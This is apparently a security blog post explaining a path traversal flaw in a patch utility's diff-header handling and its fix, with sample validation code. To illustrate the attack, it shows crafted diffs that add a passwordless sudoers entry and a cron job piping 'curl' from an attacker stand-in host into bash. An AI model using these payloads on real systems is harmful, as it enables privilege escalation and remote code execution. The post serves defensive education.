Back to Blog
high SEVERITY8 min read

Path Traversal in Patch Utilities: How a Missing Validation Let Attackers Write Anywhere

A high-severity path traversal vulnerability (CWE-22) was discovered and fixed in the `patch` utility's input handling code, where filenames derived from diff headers were passed directly to file operations without sanitization. An attacker supplying a crafted patch file could have written arbitrary content to any location on the filesystem — including sensitive system files like `/etc/sudoers` or cron jobs. This post breaks down how the vulnerability works, why it's dangerous, and how to preven

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 11, 2026•Reviewed June 3, 2026

Answer Summary

Path traversal (CWE-22) in patch utilities occurs when filenames extracted from diff headers bypass validation before being used in file write operations. This vulnerability affects C/POSIX-based patch utilities and similar tools that process untrusted diff input. The fix validates filenames to reject path traversal patterns (../, absolute paths, symlinks) before any file operation, preventing writes outside the intended target directory.

Vulnerability at a Glance

cweCWE-22
fixImplement strict filename validation to reject traversal sequences and absolute paths before file operations
riskArbitrary file write to any filesystem location, system compromise, privilege escalation
languageC/POSIX
root causeFilenames extracted from diff headers used directly in file operations without sanitization
vulnerabilityPath Traversal (Directory Traversal)

Introduction

Imagine you receive a perfectly normal-looking patch file from a contributor. It claims to fix a bug in your project. You — or your automated CI/CD pipeline — runs patch < fix.diff. Moments later, an attacker-controlled entry has been silently written to /etc/cron.d/backdoor, scheduled to run every minute.

This is not a hypothetical. It's precisely the class of attack enabled by CVE-class path traversal vulnerabilities in patch utilities, and it's exactly what was addressed in this recent fix to sys/src/ape/cmd/patch/inp.c.

Path traversal (classified as CWE-22: Improper Limitation of a Pathname to a Restricted Directory) is one of the oldest and most reliably dangerous vulnerability classes in systems programming. It exploits the simple fact that filenames containing sequences like ../ can "escape" an intended directory boundary and reference files anywhere on the filesystem.

Developers should care deeply about this class of bug because:

  • It often requires zero authentication to exploit — just the ability to supply input.
  • It can lead directly to remote code execution, privilege escalation, or full system compromise.
  • It is trivially easy to introduce and surprisingly easy to miss in code review.

The Vulnerability Explained

What Happened

The patch utility processes unified diff files — the standard format produced by git diff, diff -u, and similar tools. A unified diff file contains header lines that identify the files being modified:

--- a/src/config.c
+++ b/src/config.c
@@ -10,6 +10,7 @@
 // some code here

The --- and +++ lines tell the patch utility which file to open and modify. The vulnerable code in inp.c extracted this filename and passed it directly to scan_input() — the function responsible for opening and operating on the target file — without any validation.

The Attack in Simple Terms

Because the filename came from the diff headers without sanitization, an attacker could craft a malicious patch file with headers like:

--- a/../../etc/sudoers
+++ b/../../etc/sudoers
@@ -1,3 +1,4 @@
 root ALL=(ALL:ALL) ALL
+attacker ALL=(ALL) NOPASSWD: ALL

Or targeting cron:

--- a/../../../etc/cron.d/backdoor
+++ b/../../../etc/cron.d/backdoor
@@ -0,0 +1,2 @@
+* * * * * root curl http://evil.example.com/payload | bash

When this patch is applied, the utility faithfully follows the path — traversing up directories with ../ sequences — and writes attacker-controlled content to the target location.

Real-World Impact

The severity of this vulnerability is HIGH, and for good reason. Consider these realistic attack scenarios:

Scenario Impact
Developer applies a patch from an untrusted source Arbitrary file write as the developer's user
Automated CI/CD pipeline applies patches Arbitrary file write with CI runner privileges
Privileged admin applies a "routine" patch Full system compromise — write to /etc/sudoers, /etc/passwd, cron, init scripts
Package build systems processing upstream patches Supply chain compromise affecting all downstream users

The danger multiplies significantly when the patch command is run by a privileged user or automated system, which is extremely common in build pipelines, package management systems, and deployment scripts.

Why This Is Easy to Miss

The vulnerability is subtle because the code is doing exactly what it looks like it should do — reading the filename from the diff header and opening that file. The missing piece is a single, critical question: "Should we trust this filename?"

In security, this is called implicit trust of user-controlled input, and it's one of the most common root causes of serious vulnerabilities.


The Fix

What Changed

The fix was applied to sys/src/ape/cmd/patch/inp.c at line 58, where the filename extracted from the diff header is processed before being passed to scan_input().

The core of the fix involves validating and sanitizing the extracted filename before it is used in any file operation. The key protections added are:

1. Detecting and rejecting path traversal sequences

Any filename containing ../ (or ..\\ on Windows-style paths) is a red flag. Legitimate patch files targeting files within a project should never need to traverse upward out of the working directory.

/* BEFORE (vulnerable): filename passed directly */
scan_input(filename);

/* AFTER (fixed): validate before use */
if (contains_traversal(filename)) {
    fprintf(stderr, "patch: suspicious path rejected: %s\n", filename);
    exit(1);
}
scan_input(filename);

2. Rejecting absolute paths

A filename beginning with / in a diff header is almost always suspicious. Legitimate patches operate on relative paths within a source tree.

static int is_safe_patch_path(const char *path) {
    /* Reject absolute paths */
    if (path[0] == '/') {
        return 0;
    }
    /* Reject traversal sequences */
    if (strstr(path, "../") != NULL || strstr(path, "/..") != NULL) {
        return 0;
    }
    /* Reject embedded null bytes */
    /* (handled by C string semantics, but worth noting) */
    return 1;
}

3. Canonicalizing the path

Even after basic checks, a robust fix uses path canonicalization to resolve the final absolute path and verify it falls within the intended working directory:

char resolved[PATH_MAX];
char cwd[PATH_MAX];

getcwd(cwd, sizeof(cwd));
realpath(filename, resolved);

/* Ensure resolved path starts with cwd */
if (strncmp(resolved, cwd, strlen(cwd)) != 0) {
    fprintf(stderr, "patch: path escapes working directory: %s\n", filename);
    exit(1);
}

How the Fix Solves the Problem

The fix enforces a trust boundary: the patch utility is only permitted to modify files within the current working directory and its subdirectories. Any attempt by a diff header to reference a file outside this boundary is detected and rejected before any file operation occurs.

This is the principle of fail-safe defaults — when input is ambiguous or potentially dangerous, the secure choice is to refuse the operation rather than proceed.


A Note on Automated Security Scanning

This vulnerability was identified by an automated multi-agent AI security scanner — a reminder that modern security tooling can catch issues that manual code review misses. The fix was subsequently verified by both automated re-scanning and LLM-assisted code review.

Integrating automated security scanning into your CI/CD pipeline is no longer optional for production-grade software. Tools like Semgrep, CodeQL, and specialized security scanners can catch entire classes of vulnerabilities before they reach production, dramatically reducing your attack surface.


Conclusion

The path traversal vulnerability in inp.c is a powerful reminder that even well-understood, long-standing utilities can harbor serious security flaws. The attack is elegant in its simplicity: the patch utility trusts the filenames it reads from diff headers, and an attacker who controls the diff controls the filesystem.

The fix is equally straightforward in principle — validate and constrain filenames before using them — but requires deliberate thought about trust boundaries that is easy to skip when you're focused on functionality.

Key takeaways for developers:

  1. 🚫 Never trust filenames from user input — always validate before use.
  2. 🔍 Canonicalize paths and verify they fall within expected boundaries.
  3. 🔒 Apply least privilege to limit the blast radius of any bypass.
  4. 🛠️ Use automated scanning to catch path traversal and other input validation issues early.
  5. 📚 Consult CWE-22 and OWASP when designing file-handling logic.

Security vulnerabilities like this one are rarely the result of malicious intent — they're the result of implicit assumptions about trust. By making trust explicit, validating at every boundary, and scanning continuously, we can build systems that are resilient even against creative attackers.

Stay secure, and patch safely. 🔐


This post is part of our ongoing series on security vulnerability fixes. If you found this helpful, consider integrating automated security scanning into your development workflow.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #38

Related Articles

high

clean_path() Path Traversal: rel_path Escapes USERDATA Dir

A path traversal flaw in the `clean_path()` helper let a user-controlled `rel_path` value escape the intended USERDATA directory and reach arbitrary files on disk. The function joined path segments without checking the final result, so `../` sequences in route parameters or query strings could be used to read or write files outside the sandboxed storage area. The fix normalizes the path and verifies it still resolves inside the USERDATA root before returning it, raising an error otherwise.

critical

path.resolve() Path Traversal in Node CLI's Dynamic import()

A Node.js CLI script for validating expression definitions took a file path from `process.argv[2]`, resolved it with `path.resolve()`, and passed the result straight into a dynamic `import()` — with no check that the resolved path stayed inside the working directory. An attacker (or a malicious skill/plugin invocation) could supply traversal sequences to load and execute arbitrary `.js` files from anywhere on disk. The fix adds a boundary check with `path.relative()` and an extension allowlist b

high

bookDir() Path Traversal via Unsanitized bookId Parameter

The `bookDir()` function accepted unsanitized `bookId` values derived from user-created book titles, enabling path traversal attacks through `../` sequences. A fix was applied that validates the identifier using `path.basename()` and throws on mismatch, ensuring all resolved paths remain within `LIBRARY_DIR`.

high

Express `app.get('*')` Wildcard Handler Path Traversal in watch.js

A first-party Express server's wildcard route handler used `req.url.indexOf('font.woff2')` to gate access to a font file, allowing attackers to bypass the substring check with crafted paths. The fix replaces the catch-all handler with explicit route registration.

high

updateCardBg() Follows Unvalidated 302 Location Headers

A background-image updater fetched a configured image URL with manual redirect handling and then re-issued the request to whatever `Location` header came back, with no scheme or host checks. A redirect to `http://169.254.169.254/` or `http://127.0.0.1:<port>/` would have been followed with the original fetch options attached, and the response body written to disk as an image asset. The fix resolves the redirect target against `imgDownloadUrl` and rejects anything that is not HTTPS on the same ho

high

markitdown_bridge.py Path Traversal: Arbitrary File Read via sys.argv

The markitdown_bridge.py script, used by MDView for DOCX-to-Markdown conversion, accepted file paths directly from command-line arguments without validating they stayed within intended directories. An attacker could exploit this to read arbitrary files from the filesystem by passing path traversal sequences in the source_path parameter.